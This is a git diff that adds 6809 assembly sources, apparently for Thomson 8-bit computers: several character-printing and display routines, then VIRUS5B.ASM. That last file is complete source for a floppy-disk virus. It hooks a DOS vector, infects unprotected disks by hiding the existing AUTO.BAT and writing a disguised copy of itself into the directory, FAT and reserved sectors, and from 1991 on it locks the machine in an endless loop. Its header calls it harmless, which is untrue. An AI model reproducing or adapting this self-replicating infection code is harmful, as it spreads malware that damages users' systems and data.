+       STB    ADR5,PCR
+       ORA    ADR5,PCR
+       TFR    A,B
+       ANDA   #$CC
+       ANDB   #$33
+       RORA
+       RORA
+       ROLB
+       ROLB
+       STB    ADR5,PCR
+       ORA    ADR5,PCR
+       TFR    A,B
+       ANDA   #$AA
+       ANDB   #$55
+       RORA
+       ROLB
+       STB    ADR5,PCR
+       ORA    ADR5,PCR
+       RTS
+************
+****TRA2****
+************
+TRA2   TFR    A,B
+       ANDA   #$0F
+       ANDB   #$F0
+       ROLA
+       ROLA
+       ROLA
+       ROLA
+       RORB
+       RORB
+       RORB
+       RORB
+       STB    ADR5,PCR
+       ORA    ADR5,PCR
+       RTS
+************
+****RAMA****
+************
+RAMA   LDA    >$E7C3
+       ORA    #$01
+       STA    >$E7C3
+       RTS
+************
+****RAMB****
+************
+RAMB   LDA    >$E7C3
+       ANDA   #$FE
+       STA    >$E7C3
+       RTS
+*****************
+CHOIX  FCB    $00
+ADR    FCB    00
+ADR1   FCB    00
+ADR2   FCB    00
+ADR3   FCB    00
+ADR4   FCB    00
+ADR5   FCB    00
+ADR6   FCB    00
+       END
diff --git a/code/3rdparty/sources6-divers/SOURCE60.SAP b/code/3rdparty/sources6-divers/SOURCE60.SAP
new file mode 100755
index 0000000..0836fb9
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SOURCE60.SAP
Binary files differ
diff --git a/code/3rdparty/sources6-divers/SOURCE61.SAP b/code/3rdparty/sources6-divers/SOURCE61.SAP
new file mode 100755
index 0000000..9606d0f
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SOURCE61.SAP
Binary files differ
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM
new file mode 100644
index 0000000..de37c65
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM
@@ -0,0 +1,155 @@
+***********************
+*                     *  PUTC3.ASM
+*   PUTC ETENDU AU    *
+*   MODE BIP.MAP 16   *  DISQUE
+*                     *
+***********************  RESEAU 1
+
+       ORG    $A000
+       PSHS   A,B,X,Y,U,CC
+       LDA    COL,PCR *COLONNE
+       CMPA   #19     *19 MAX
+       BHI    ARRET
+       LDA    LIG,PCR *LIGNE
+       CMPA   #24     *24 MAX
+       BHI    ARRET
+       LDA    COUL,PCR *COULEUR
+       CMPA   #$0F     *15 MAX
+       BHI    ARRET
+       LDA    LETTRE,PCR *DATA
+       CMPA   #32        *DU TEXTE
+       BHS    SUIT
+ARRET  LDB    #$07
+       JSR    >$E803
+       PULS   A,B,X,Y,U,CC,PC
+SUIT   LDA    LIG,PCR *CALCUL DE ADR
+       LDB    #$08    *OU SERA AFFICHE
+       MUL            *LA LETTRE.
+       LDA    #$28
+       MUL
+       TFR    D,X
+       LDA    #$02
+       LDB    COL,PCR
+       MUL
+       ADDD   #$4000
+       LEAX   D,X
+       TFR    X,D     *FIN DU CALCUL
+       ADDD   #280
+       TFR    D,U
+       LDX    LETTRE,PCR
+DEBUT  LDY    >$60CF
+       LDA    ,X      *CALCUL DE ADR
+       SUBA   #32     *OU EST STOCKEE
+       LDB    #$08    *LA LETTRE.
+       MUL
+       LEAY   D,Y     *FIN CALCUL
+       LDB    #$08
+ENCOR1 BSR    SUB1
+       LEAY   1,Y
+       LEAU   -$29,U
+       DECB
+       BNE    ENCOR1
+       LEAX   1,X
+       LDA    ,X
+       BNE    ENCOR2
+       LDA    COL,PCR *MODIFIE
+       INCA           *COOR AVANT
+       STA    COL,PCR *RETOUR
+       CMPA   #20
+       BLO    FIN
+       INC    LIG,PCR
+       CLR    COL,PCR
+FIN    PULS   A,B,X,Y,U,CC,PC
+ENCOR2 INC    COL,PCR
+       LDA    COL,PCR
+       CMPA   #20
+       BLO    ENCOR3
+       CLR    COL,PCR
+       LEAU   280,U
+       INC    LIG,PCR
+       LDA    LIG,PCR
+       CMPA   #25
+       BHS    ARRET
+ENCOR3 LEAU   322,U
+       BRA    DEBUT
+************
+****SUB1****
+************
+SUB1   LDA    >$E7C3  *ROUTINE D'AFFI
+       ORA    #$01    *DE LA LETTRE.
+       STA    >$E7C3
+       LDA    ,Y
+       ANDA   #$80
+       BEQ    SUIT1
+       BSR    SUB2
+SUIT1  LDA    ,Y
+       ANDA   #$40
+       BEQ    SUIT2
+       BSR    SUB3
+SUIT2  LDA    >$E7C3
+       ANDA   #$FE
+       STA    >$E7C3
+       LDA    ,Y
+       ANDA   #$20
+       BEQ    SUIT3
+       BSR    SUB2
+SUIT3  LDA    ,Y
+       ANDA   #$10
+       BEQ    SUIT4
+       BSR    SUB3
+SUIT4  LEAU   1,U
+       LDA    >$E7C3
+       ORA    #$01
+       STA    >$E7C3
+       LDA    ,Y
+       ANDA   #$08
+       BEQ    SUIT5
+       BSR    SUB2
+SUIT5  LDA    ,Y
+       ANDA   #$04
+       BEQ    SUIT6
+       BSR    SUB3
+SUIT6  LDA    >$E7C3
+       ANDA   #$FE
+       STA    >$E7C3
+       LDA    ,Y
+       ANDA   #$02
+       BEQ    SUIT7
+       BSR    SUB2
+SUIT7  LDA    ,Y
+       ANDA   #$01
+       BEQ    SUIT8
+       BSR    SUB3
+SUIT8  RTS
+************
+****SUB2****
+************
+SUB2   LDA    ,U
+       ANDA   #$0F
+       STA    ,U
+       LDA    COUL,PCR
+       ASLA
+       ASLA
+       ASLA
+       ASLA
+       ORA    ,U
+       STA    ,U
+       RTS
+************
+****SUB3****
+************
+SUB3   LDA    ,U
+       ANDA   #$F0
+       STA    ,U
+       LDA    COUL,PCR
+       ORA    ,U
+       STA    ,U
+       RTS
+*************
+****STOCK****
+*************
+COL    FCB    $00
+LIG    FCB    $00
+COUL   FCB    $00
+LETTRE FDB    $0000
+       END
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM
new file mode 100644
index 0000000..103e054
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM
@@ -0,0 +1,171 @@
+****************************
+* PUTC3 EN 40 COLONNES     *
+* REPRISE DE PUTC3         *
+* ET DE PUTC80             * DISQUE
+* TRANSLATABLE.            * RESEAU 1
+* NOM : PUTC340            *
+****************************
+
+       ORG    $A000
+       PSHS   U,Y,X,B,A,CC
+       LDA    COUL,PCR
+       CMPA   #16
+       BHS    FIN
+       LDA    COL,PCR
+       CMPA   #39
+       BHS    FIN
+       LDA    LIG,PCR
+       CMPA   #24
+       BLS    S01
+FIN    LDB    #$07
+       JSR    >$E803
+FIN1   PULS   CC,A,B,X,Y,U,PC
+S01    LDB    #$08    *CALCULS :
+       MUL
+       LDA    #$28    *NO LIG
+       MUL
+       ADDD   #$4000  *ADR D'AFFICHA
+       TFR    D,X
+       LDB    COL,PCR
+       ABX
+       TFR    X,U     *U POINTE ADR
+       LDX    TEX,PCR *X POINTE TEX
+DEBUT  LDY    POL,PCR *Y POINTE POL
+       LDA    ,X+     *NUMERO LETTRE
+       CMPA   #$1F    *MODIFIE
+       BLS    FIN1    *POUR CONFORMITE
+       CMPA   #$7F    *ASCII
+       BHI    FIN1
+       CMPA   #64     *TEST SI A-Z
+       BLS    S02
+       CMPA   #91
+       BHS    S02
+       SUBA   #65
+       BRA    SUIT
+S02    CMPA   #96     *TEST SI a-z
+       BLS    S03
+       CMPA   #127
+       BEQ    S05
+       SUBA   #45
+       BRA    SUIT
+S03    CMPA   #47     *TEST SI 0-9
+       BLS    S04
+       CMPA   #58
+       BHS    S04
+       SUBA   #06
+       BRA    SUIT
+S04    CMPA   #36     *TEST SI -#
+       BHS    S05
+       SUBA   #06
+       BRA    SUIT
+S05    LDB    #30
+       PSHS   U
+       LEAU   TAB,PCR
+S06    CMPA   ,U+
+       BEQ    S07
+       INCB
+       CMPB   #42
+       BNE    S06
+S07    TFR    B,A
+       PULS   U
+SUIT   LDB    #8
+       STA    NUM,PCR
+       LSRA
+       MUL
+       LEAY   D,Y
+       LDB    #$08
+S09    LDA    ,Y+
+       BSR    AFFI
+       LEAU   $28,U
+       DECB
+       BNE    S09
+       LEAU   -$140,U
+       INC    COL,PCR
+       LDA    COL,PCR
+       CMPA   #40
+       BNE    S08
+       CLR    COL,PCR
+       INC    LIG,PCR
+       LDA    LIG,PCR
+       CMPA   #25
+       LBEQ   FIN
+       LEAU   $118,U
+S08    LEAU   $01,U
+       LBRA   DEBUT
+************************
+****AFFICHAGE LETTRE****
+************************
+AFFI   PSHS   B       *A POINTE SUR
+       BSR    RAMA    *FORME LETTRE
+       LDB    NUM,PCR
+       LSRB
+       BCC    S11
+       LSLA           *DECAL A SI NUM
+       LSLA           *IMPAIRE.
+       LSLA           *CAR 2 LETTRES
+       LSLA           *PAR OCTET.
+S11    LSLA
+       BCC    SUIT1
+       BSR    SUB2
+SUIT1  LSLA
+       BCC    SUIT2
+       BSR    SUB3
+SUIT2  BSR    RAMB
+       LSLA
+       BCC    SUIT3
+       BSR    SUB2
+SUIT3  LSLA
+       BCC    SUIT4
+       BSR    SUB3
+SUIT4  PULS   B,PC
+************
+****SUB2****
+************
+SUB2   LDB    ,U
+       ANDB   #$0F
+       STB    ,U
+       LDB    COUL,PCR
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       ORB    ,U
+       STB    ,U
+       RTS
+************
+****SUB3****
+************
+SUB3   LDB    ,U
+       ANDB   #$F0
+       STB    ,U
+       LDB    COUL,PCR
+       ORB    ,U
+       STB    ,U
+       RTS
+************
+****RAMA****
+************
+RAMA   LDB    >$E7C3
+       ORB    #$01
+       STB    >$E7C3
+       RTS
+************
+****RAMB****
+************
+RAMB   LDB    >$E7C3
+       ANDB   #$FE
+       STB    >$E7C3
+       RTS
+*************
+****STOCK****
+*************
+COUL   FCB    $01
+COL    FCB    $00
+LIG    FCB    $00
+TEX    FDB    $0000
+POL    FDB    $0000
+NUM    FCB    $00
+TAB    FCC    \+-/*,\
+       FCB    127
+       FCC    \'?.=:$\
+       END
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM
new file mode 100644
index 0000000..3a3d4f8
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC80.ASM
@@ -0,0 +1,180 @@
+*************************
+*                       *
+*      PUTC80.ASM       * DISK RESEAU 1
+*                       *
+*************************
+
+       ORG    $A000
+       PSHS   A,B,X,Y,U,CC
+       LDA    COL,PCR
+       CMPA   #80
+       BHS    FIN
+       LDA    LIG,PCR
+       CMPA   #24
+       BLS    S01
+FIN    LDB    #$07
+       JSR    >$E803
+FIN1   PULS   A,B,X,Y,U,CC
+       RTS
+S01    LDB    #$08    *CALCULS :
+       MUL
+       LDA    #$28    *NO LIG
+       MUL
+       ADDD   #$4000  *ADR D'AFFICHA
+       TFR    D,X
+       LDB    COL,PCR
+       LSRB           *DIVISE COL
+       ABX            *PAR 2.
+       TFR    X,U
+       LDX    TEX,PCR
+DEBUT  LDY    POL,PCR *MODIFIE
+       LDA    ,X+     *NUMERO LETTRE
+       CMPA   #$1F
+       BLS    FIN1
+       CMPA   #$7F
+       BHI    FIN1
+       CMPA   #64     *TEST SI A-Z
+       BLS    S02
+       CMPA   #91
+       BHS    S02
+       SUBA   #65
+       BRA    SUIT
+S02    CMPA   #96     *TEST SI a-z
+       BLS    S03
+       CMPA   #127
+       BEQ    S05
+       SUBA   #45
+       BRA    SUIT
+S03    CMPA   #47     *TEST SI 0-9
+       BLS    S04
+       CMPA   #58
+       BHS    S04
+       SUBA   #06
+       BRA    SUIT
+S04    CMPA   #36     *TEST SI -#
+       BHS    S05
+       SUBA   #06
+       BRA    SUIT
+S05    LDB    #30
+       PSHS   U
+       LEAU   TAB,PCR
+S06    CMPA   ,U+
+       BEQ    S07
+       INCB
+       CMPB   #42
+       BNE    S06
+S07    TFR    B,A
+       PULS   U
+SUIT   LDB    #8
+       STA    NUM,PCR
+       LSRA
+       MUL
+       LEAY   D,Y
+       BSR    AFFI
+       INC    COL,PCR
+       LDA    COL,PCR
+       CMPA   #80
+       BNE    S08
+       CLR    COL,PCR
+       INC    LIG,PCR
+       LDA    LIG,PCR
+       CMPA   #25
+       LBEQ   FIN
+       LEAU   $118,U
+S08    LDA    COL,PCR
+       LSRA
+       LSLA
+       CMPA   COL,PCR
+       BNE    S09
+       LEAU   $01,U
+S09    LBRA   DEBUT
+************************
+****AFFICHAGE LETTRE****
+************************
+AFFI   BSR    RAMA    *PRISE EN COMPTE
+       LDA    COL,PCR *COLONNE
+       LSRA
+       LSLA
+       CMPA   COL,PCR
+       BNE    S12
+       LDB    #$08
+S11    LDA    ,U
+       ANDA   #$0F
+       STA    ,U
+       LDA    ,Y+
+       PSHS   B
+       LDB    NUM,PCR
+       LSRB
+       LSLB
+       CMPB   NUM,PCR
+       BEQ    S111
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+S111   PULS   B
+       ANDA   #$F0
+       ORA    ,U
+       STA    ,U
+       LEAU   $28,U
+       DECB
+       BNE    S11
+       BRA    S13
+S12    LDB    #$08
+S122   LDA    ,U
+       ANDA   #$F0
+       STA    ,U
+       LDA    ,Y+
+       PSHS   B
+       LDB    NUM,PCR
+       LSRB
+       LSLB
+       CMPB   NUM,PCR
+       BNE    S121
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+S121   PULS   B
+       ANDA   #$0F
+       ORA    ,U
+       STA    ,U
+       LEAU   $28,U
+       DECB
+       BNE    S122
+S13    LEAU   -$140,U
+       BSR    RAMB
+       LDA    >$603B
+       LDB    #$08
+S131   STA    ,U
+       LEAU   $28,U
+       DECB
+       BNE    S131
+       LEAU   -$140,U
+       RTS
+************
+****RAMA****
+************
+RAMA   LDA    >$E7C3
+       ORA    #$01
+       STA    >$E7C3
+       RTS
+************
+****RAMB****
+************
+RAMB   LDA    >$E7C3
+       ANDA   #$FE
+       STA    >$E7C3
+       RTS
+*************
+****STOCK****
+*************
+COL    FCB    $00
+LIG    FCB    $00
+TEX    FDB    $0000
+POL    FDB    $0000
+NUM    FCB    $00
+TAB    FCC    \+-/*,\
+       FCB    127
+       FCC    \'?.=:$\
+       END
diff --git a/code/3rdparty/sources6-divers/VIRUS5B.ASM b/code/3rdparty/sources6-divers/VIRUS5B.ASM
new file mode 100644
index 0000000..67f5698
--- /dev/null
+++ b/code/3rdparty/sources6-divers/VIRUS5B.ASM
@@ -0,0 +1,322 @@
+************  par Michel SAINT-BRIANT
+*          *
+* VIRUS 5B *  A.S.C.I. 1990 Copyright
+*          *
+************ (ce virus est inoffensif)
+
+LOCAL  EQU    $8880
+DEP    EQU    $A000-LOCAL-2
+TAMPON EQU    $7065
+
+       ORG    $A100
+
+* On prépare la sortie
+
+       PSHS   U,X,Y,DP,A,B,CC
+
+* le virus doit se montrer à partir de
+* 1991 (si la date a été entrée !)
+
+       LDA    $607E   Registre-année
+       CMPA   #91     si contenu < 91
+       BLO    INSTAL  VIRUS5B s'installe
+
+* en 1991 et années suivantes,le virus
+* se manifeste par un affichage et un
+* plantage irréversible
+
+MESSAG LDX    #TEXTE     affiche le
+       LDB    #$C        message après
+PRINT  JSR    $E803      effacement
+       LDB    ,X+
+       COMB
+       BNE    PRINT
+       STX    $60FE   pour RESET à froid
+PLANTE BRA    PLANTE  boucle sans fin
+
+* installer le virus pour contamination
+
+INSTAL LDU    #$A001
+       LDX    #LOCAL
+       LDA    #$FF
+       STA    ,X+
+       LDD    #$470A
+       STD    ,X++
+COPIE  LDA    ,U+
+       STA    ,X+
+       CMPX   #$A3FF-DEP
+       BNE    COPIE
+       LDX    #CONTAG-DEP
+       LDA    #$7E
+       STX    $6806
+       STA    $6805
+
+* on sort discrètement pour le vrai
+* AUTO.BAT
+
+FIN    PULS   CC,A,B,DP,X,Y,U,PC
+
+* Partie 'CONTAGIEUSE'
+
+CONTAG PSHS   U,X,Y,DP,B,A,CC
+
+       CMPA   #$80    en entrée A est le
+       BLO    QUITTE  'DEVICE in use':si
+       CMPA   #$84    ce n'est pas un
+       BHI    QUITTE  lecteur, on sort.
+
+       LDX    #LOCAL  Vérification de l'
+       LEAY   ,X      intégrité de VIRUS
+CHECKS LDB    ,X+     5B avant tentative
+       LEAY   B,Y     de contamination.
+       CMPX   #$A3F4-DEP On procède par
+       BNE    CHECKS  un checksum sur 16
+       LDD    ,X      bits qui détecte
+       LEAX   D,Y     toute modification
+       BEQ    SUITE   (si modif. sortie)
+       LDA    #$39    RTS mis en $6805
+       STA    $6805   désactive VIRUS5B
+       BRA    QUITTE
+
+SUITE  LDU    $61C7   U = pointeur BASIC
+       LDA    ,U+     si nul
+       BEQ    DEVICE    ou   > DEVICE
+       CMPA   #$3A    si ':'
+       BEQ    DEVICE
+       CMPA   #$22    si pas '"' alors
+       BNE    QUITTE      on sort
+       LDD    ,U      si '"' alors le
+       CMPB   #$3A    3ème est-il ':'?
+       BNE    DEVICE  si pas ':'>DEVICE
+       CMPA   #$30    si":"a-t-on'"0:'?
+       BEQ    OK      si oui c'est OK
+
+QUITTE PULS   CC,A,B,DP,X,Y,U,PC
+
+DEVICE LDA    $6768   le lecteur par dé-
+       CMPA   #$80    faut est-il "0:" ?
+       BNE    QUITTE  si non on sort
+
+* OK c'est à dire qu'on a une fonction
+* ayant accès au lecteur 0: (DIR,LOAD(m)
+* SAVE(m),OPEN,MERGE,COPY...)
+* Voyons maintenant si la disquette est
+* protégée en écriture (oui = fichu !)
+
+OK     JSR    $E09D   initialise DOS
+       CLR    <$49    lecteur 0:
+       LDA    #20     on se cale sur
+       STA    <$4B    la piste 20
+       JSR    $E452   accès disquette
+       LDA    $E7D1   on lit $E7D1
+       LDB    #$40    et on éteint la
+       STB    $E7D2   diode-disquette
+       ANDA   #4      on teste le bit 2
+       BNE    QUITTE  si 1 protégée
+
+* la disquette n'est pas protégée.
+* Examinons sa FAT
+
+       LDA    #2
+       STA    <$48    lecture du
+       STA    <$4C    secteur 2
+       LDX    #TAMPON dans la zone
+       STX    <$4F    $624F/$634E
+       JSR    $E004   appel DOS
+
+* les secteurs 9 à 12 piste 20 sont-ils
+* libres ? si c'est non, VIRUS 5B est
+* déjà installé donc on sort ou la place
+* est prise par autre chose et on sort.
+
+       LDA    TAMPON+42  teste bloc 41
+       CMPA   #$FE    est-il protégé ?
+       BNE    QUITTE  si non on quitte.
+
+* y a-t-il plus de 40 fichiers dans la
+* FAT (chaque fin de fichier est codée
+* par $C1 à $C8 donc on compte les $C.)
+
+       LDX    #TAMPON+1 début des blocs
+       CLRB           compteur à 0
+BLOC   LDA    ,X+
+       ANDA   #$F0
+       CMPA   #$C0
+       BNE    SUIV
+       INCB
+SUIV   CMPX   #TAMPON+161 fin 160 blocs
+       BNE    BLOC
+       CMPB   #40     40 --> 5 secteurs
+       BHI    QUITTE  donc 1 de sécurité
+
+* tout va bien,il ne reste plus qu'à
+* chercher s'il existe un AUTO.BAT :
+* si non on sort
+
+       LDA    #5      on analyse les
+       STA    LOCAL-1   entrées dans le
+SECTOR INC    <$4C      répertoire avec
+       JSR    $E004     les secteurs 3/7
+       LDU    <$4F
+       LDB    #8      8 entrées par
+ENTREE LDY    #AB-DEP   secteurs
+       TFR    U,X
+TESTAB LDA    ,X+
+       CMPA   ,Y+
+       BEQ    TESTAB
+       CMPY   #AB+12-DEP
+       BEQ    AUTO
+AUTRE  LEAU   32,U
+       DECB
+       BNE    ENTREE
+       DEC    LOCAL-1
+       BNE    SECTOR
+PASBAS LBRA   QUITTE
+
+* AUTO.BAT trouvé, est-ce bien du basic?
+
+AUTO   TSTA
+       BNE    PASBAS
+       LDA    ,X
+       BNE    PASBAS
+
+* on a un AUTO.BAT basic
+
+       LDX    #$1B58  on débaptise l'
+       STX    ,U++    AUTO.BAT (masque)
+       LDD    #$2009  on remplit les 9
+SPACE  STA    ,U+     autres caractères
+       DECB           d'espaces...
+       BNE    SPACE
+       LDX    #LOCAL-12
+       LEAU   5,U
+       TFR    U,Y      On sauve le com-
+CODAT1 LDA    ,Y+      mentaire et la
+       STA    ,X+      date de l'ancien
+       CMPX   #LOCAL-1 AUTO.BAT pour
+       BNE    CODAT1   recopie après.
+       LDX    #$0D1B
+       STX    ,U++
+       LDX    #$5F18   puis on modifie
+       STX    ,U++     pour dissimuler.
+       LDX    #$0808
+       STX    ,U++
+       CLR    ,U
+
+* existe-t-il une entrée libre dans le
+* même secteur ?
+
+       LDB    #8
+       LDU    <$4F
+LIBR0  LDA    ,U
+       BEQ    INOCUL
+       CMPA   #$FF
+       BEQ    INOCUL
+       LEAU   32,U
+       DECB
+       BNE    LIBR0
+
+* pas de place sur le même secteur alors
+* on l'écrit ...
+
+       LDA    #8      écriture du
+       STA    <$48    secteur
+       JSR    $E004   modifié
+       LDA    #2      lecture du suivant
+
+* cherchons place dans un autre secteur
+
+       LDA    #2      pour lecture
+       STA    <$48
+       LDA    <$4C    on sauvegarde le
+       STA    LOCAL-1 secteur initial
+PLACE  INC    <$4C
+       LDA    <$4C
+       CMPA   LOCAL-1
+       LBEQ   QUITTE  si on fait le tour
+       CMPA   #9      sans trouver > FIN
+       BNE    CHERCH
+       LDA    #2      si la recherche n'
+       STA    <$4C    a pas été bonne,on
+       BRA    PLACE   reprend au début.
+CHERCH JSR    $E004
+       LDB    #8
+       LDU    <$4F
+LIBR1  LDA    ,U
+       BEQ    INOCUL
+       CMPA   #$FF
+       BEQ    INOCUL
+       LEAU   32,U
+       DECB
+       BNE    LIBR1
+       BRA    PLACE
+
+* maintenant on implante VIRUS 5B
+
+* 1/ sur le catalogue
+
+INOCUL LDX    #AB-DEP
+       LDB    #11
+NOM    LDA    ,X+
+       STA    ,U+
+       DECB
+       BNE    NOM
+       CLR    ,U+
+       CLR    ,U+
+       LDD    #$29FE
+       STA    ,U+
+       CLR    ,U+
+       STB    ,U+
+       LDX    #LOCAL-12 On recopie le
+CODAT2 LDA    ,X+      commentaire et la
+       STA    ,U+      date de l'ancien
+       CMPX   #LOCAL-1 AUTO.BAT pour
+       BNE    CODAT2   faire plus vrai !
+       LDB    #5       on complète
+CLEAR  CLR    ,U+      avec des zéros
+       DECB
+       BNE    CLEAR
+       LDA    #8       pour écriture
+       STA    <$48
+       JSR    $E004
+
+* 2/ sur la FAT
+
+       LDA    #2
+       STA    <$48
+       STA    <$4C
+       JSR    $E004
+       LDA    #$C4
+       STA    TAMPON+42
+       LDA    #8
+       STA    <$48
+       JSR    $E004
+
+* 3/ sur les secteurs 9 à 12
+
+       LDD    #$0408  4 secteurs
+       STB    <$4C    depuis le 9
+       LDU    #$8781
+       STU    <$4F
+
+COPPRO INC    <$4C
+       INC    <$4F
+       DEC    <$50
+       JSR    $E004
+       DECA
+       BNE    COPPRO
+
+* C'est fini et on sort
+
+       PULS   CC,B,A,DP,U,X,Y,PC
+
+* AUTO.BAT
+
+AB     FCC    "AUTO    BAT"
+
+* MESSAGE
+
+TEXTE  FCB    255
+
+
+       END